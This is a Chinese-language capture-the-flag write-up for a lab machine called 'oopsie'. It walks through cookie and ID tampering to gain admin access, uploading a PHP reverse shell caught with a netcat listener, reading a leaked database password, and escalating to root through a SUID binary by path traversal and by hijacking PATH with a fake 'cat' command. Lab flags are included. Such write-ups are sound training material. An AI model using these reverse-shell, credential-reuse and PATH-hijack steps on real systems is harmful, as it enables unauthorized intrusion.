Task 1
Q:With what kind of tool can intercept web traffic?
A:proxy
Task 2
Q:What is the path to the directory on the webserver that returns a login page?
F12检查元素发现有一行<script src="/cdn-cgi/login/script.js"></script>
这不就找到后台了?
根据提示也可以使用burpsuite的爬虫爬取,在Target
下的Sitemap
A:/cdn-cgi/login
Task 3
Q:What can be modified in Firefox to get access to the upload page?
这个用burpsuite拦截数据包,很容易发现cookie里包含了id
A:cookie
Task 4
Q:What is the access ID of the admin user?
打开后台发现可以使用Guest
账号登录,进去之后有一个account选项卡,点进去发现是显式自己的资料,但是URL有一个Get的参数id=1
直接改成id=1
就显示了admin的ID
这里可以通过intruder
爆破所有ID账号
A:34322
Task 5
Q:On uploading a file, what directory does that file appear in on the server?
这个可以爆破出来,但是猜一下也无妨
A:/uploads
Task 6
Q:What is the file that contains the password that is shared with the robert user?
这个就要去拿shell了
首先打开网页,打开上传点,发现需要super admin权限才能用,那我们根据之前爆破出来的结果,已经知道了super admin的id是86575,直接抓包改cookie
然后用kali自带的反弹shell交上去
cp /usr/share/webshells/php/php-reverse-shell.php .
cat php-reverse-shell.php
里面的ip改成本机
传的时候也要改一下cookie
上传成功了
接下来我们监听下1234端口
┌──(root💀kali)-[~]
└─# nc -lvnp 1234 127 ⨯
listening on [any] 1234 ...
直接访问shell触发http://10.129.7.7/uploads/php-reverse-shell.php
shell反弹了
┌──(root💀kali)-[~]
└─# nc -lvnp 1234 127 ⨯
listening on [any] 1234 ...
connect to [10.10.16.86] from (UNKNOWN) [10.129.7.7] 37708
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
02:13:44 up 24 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
但是目前的shell是非交互的,意思就是你输入指令,指令会存放在文件里,而系统从文件中读取执行,不会产生任何交互响应,取消啊输入密码之类的交互信息不能发送。
那我们就要升级shell称为交互shell了!
SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
xterm
不成功,可能是哪里出错了,感觉网上的返回交互式shell的方法在这里不适用啊
不过不用交互式shell问题也不大,就是有一些不方便而已
我们返回nc,直接查找答案
$ cd /var/www/html/cdn-cgi/login
$ ls
admin.php
db.php
index.php
script.js
$ cat db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
$
A:db.php
Task 7
Q:What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?
重新挑战交互式shell,这回不用交互式shell是真不行了
$ SHELL=/bin/bash script -q /dev/null //这里新建了一个tty
www-data@oopsie:/$ su robert
su robert
Password: M3g4C0rpUs3r!
我们直接用泄露的账号密码登录进去,这样就有了一个交互shell,但又没有完全交互,不能用中断命令,只是能做一些交互而已,郁闷==、
后来做了扫描发现ssh是开着的,那么完全可以ssh直接连进去,方便得多
题目文的是和组相关的,那么我们先查看一下robert的信息
robert@oopsie:/$ id
id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
robert@oopsie:/$
接下来查找一下所有属于用户组的文件,并通过2>/dev/null
将permission deny
的错误信息过滤
robert@oopsie:/$ find / -type f -group bugtracker 2>/dev/null
find / -type f -group bugtracker 2>/dev/null
/usr/bin/bugtracker
找到了一个/usr/bin/bugtracker
A:find
Task 8
Q:Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?
让我们康康这个文件
robert@oopsie:/$ ls -al /usr/bin/bugtracker
ls -al /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker
天呐,发现具有s权限!而且所有者是root!
s权限的文件执行时,其拥有的权限会暂时被调整为owner的权限
可执行的文件搭配这个权限,可以得到特权,任意存取该文件的所有者能使用的全部系统资源,我们尝试运行它,发现这个文件根据提供的ID值输出以该数字为编号的bug报告
--某大佬
A:root
Task 9
Q:What SUID stands for?
A:Set owner User ID
Task 10
Q:What is the name of the executable being called in an insecure manner?
A:cat
Flag
user flag
robert@oopsie:~$ cd /home/robert
robert@oopsie:~$ cat user.txt
f2c74ee8db7983851ab2a96a44eb7981
flag:f2c74ee8db7983851ab2a96a44eb7981
解法1
我们可以通过运行bugtracker来获得flag
robert@oopsie:/usr/bin$ ./bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: ../root.txt
---------------
af13b0bee69f8a877c3faf667f7beacf
解法2
通过strings
命令获取到文件里面的所有ASCII码字符串,用来洞悉使用了哪些命令
其中有一条就是cat /root/reports
那么查阅大佬的记录,哦吼?!
其含义是bugtracker调用系统中的cat命令输出了位于/root/reports/目录下的bug报告,robert用户本应无权访问/root目录,而bugtracker设置了setuid后就拥有了/root目录的访问,就拥有了root权限。且cat命令是使用绝对路径而不是相对路径来调用的,即在当前用户的环境变量指定的路径中搜寻cat命令,可以考虑创建一个恶意的cat命令,并修改当前用户环境变量,将权限提升为root。
export PATH=/tmp:$PATH //将/tmp目录设置为环境变量
cd /tmp/ //切换到/tmp目录下
echo '/bin/sh' > cat //在此构造恶意的cat命令
chmod +x cat //赋予执行权限
这样bugtracker再次调用cat命令时实际上调用的是/tmp目录下的恶意的cat命令
再运行一下bugtracker
robert@oopsie:/tmp$ ./../usr/bin/bugtracker
返回了root权限,不过是临时的,并不是把robert改成了真正的root
# id
uid=0(root) gid=1000(robert) groups=1000(robert),1001(bugtracker)
既然有了root权限,那么就可以读取root.txt了
flag:af13b0bee69f8a877c3faf667f7beacf